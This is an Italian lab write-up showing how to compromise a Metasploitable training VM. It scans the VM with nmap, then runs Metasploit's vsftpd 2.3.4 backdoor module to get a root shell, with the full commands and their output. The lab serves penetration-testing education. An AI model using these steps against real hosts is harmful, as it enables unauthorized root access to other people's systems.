

# Hacking con Metasploit - Metasploitable - vsftpd

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## Configurazione delle Macchine Virtuali

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### Configurare Metasploitable

1. Avvia la macchina virtuale Metasploitable.
2. Imposta l'indirizzo IP della macchina Metasploitable su 192.168.1.149/24.

Verifica la configurazione con il comando:

```
ifconfig
```

```
No mail.
msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.1.149 netmask 255.255.255.
0 up
[sudo] password for msfadmin:
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:4d:e1:90
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe4d:e190/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:30 errors:0 dropped:0 overruns:0 frame:0
          TX packets:74 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1920 (1.8 KB)  TX bytes:6805 (6.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:130 errors:0 dropped:0 overruns:0 frame:0
          TX packets:130 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:31455 (30.7 KB)  TX bytes:31455 (30.7 KB)

msfadmin@metasploitable:~$
```

### Configurare Kali Linux

1. Avvia la macchina Kali Linux.
2. Assicurati che sia sulla stessa rete della macchina Metasploitable. Puoi verificare la connessione con un ping:

Editing Static 10.

Connection name **Static 10.**

General Ethernet 802.1X Security DCB Proxy **IPv4 Settings** IPv6 Settings

Method **Manual**

**Addresses**

Address	Netmask	Gateway
192.168.1.100	24	192.168.1.1

Add  
Delete

DNS servers **192.168.1.1**

Search domains

DHCP client ID

☐ Require IPv4 addressing for this connection to complete

Routes...

Cancel **✓ Save**

```
(kali@kali)-[~]  
$ ping 192.168.1.149  
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.  
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.184 ms  
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=0.192 ms  
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.192 ms
```

## Scansione della Macchina Metasploitable

1. Utilizza nmap per identificare i servizi in esecuzione:

```
nmap -sV 192.168.1.149
```

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ nmap -sV 192.168.1.0/24  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-16 08:31 EST  
Nmap scan report for 192.168.1.149  
Host is up (0.000056s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rexecd  
513/tcp   open  login        OpenBSD or Solaris rlogind  
514/tcp   open  shell        Netkit rshd  
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
MAC Address: 08:00:27:4D:E1:90 (Oracle VirtualBox virtual NIC)  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:l  
inux_kernel  
  
Nmap scan report for 192.168.1.100  
Host is up (0.000050s latency).  
All 1000 scanned ports on 192.168.1.100 are in ignored states.  
Not shown: 1000 closed tcp ports (reset)  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 256 IP addresses (2 hosts up) scanned in 48.08 seconds
```

Opzione `-sV`: identifica la versione dei servizi.

So che la versione vsftpd usata è la `2.3.4`

## Avvio di Metasploit

1. Apri il terminale sulla tua macchina e avvia Metasploit:

```
msfconsole
```



View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
```

Module options (exploit/unix/ftp/vsftpd\_234\_backdoor):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	21	yes	The target port (TCP)

Exploit target:

Id	Name
--	----
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

## 2. Configura l'indirizzo IP della macchina Metasploitable:

```
set RHOSTS 192.168.1.149
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

## 3. Verifica la configurazione:

```
options
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
```

Module options (exploit/unix/ftp/vsftpd\_234\_backdoor):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS	192.168.1.149	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	21	yes	The target port (TCP)

Exploit target:

Id	Name
--	----
0	Automatic

View the full module info with the `info`, or `info -d` command.

# Esecuzione dell'Exploit

## 1. Esegui l'exploit:

```
run
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
```

```
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:37505 → 192.168.1.149:6200) at 2024-12-16 08:35:41 -0500
```

Se l'exploit è riuscito, otterrai una sessione di shell sulla macchina Metasploitable.

## Completare l'Attività

1. Naviga nella directory root:

```
cd /
```

2. Crea la cartella richiesta:

```
mkdir test_metasploit
```

3. Verifica che la cartella sia stata creata:

```
ls
```

```
cd /
pwd
/
mkdir test_metasploit
ls
*?6
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

## Concludere

1. Disconnettiti dalla sessione:

```
exit
```

```
exit
[*] 192.168.1.149 - Command shell session 1 closed.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exit

(kali@kali)-[~]
$
```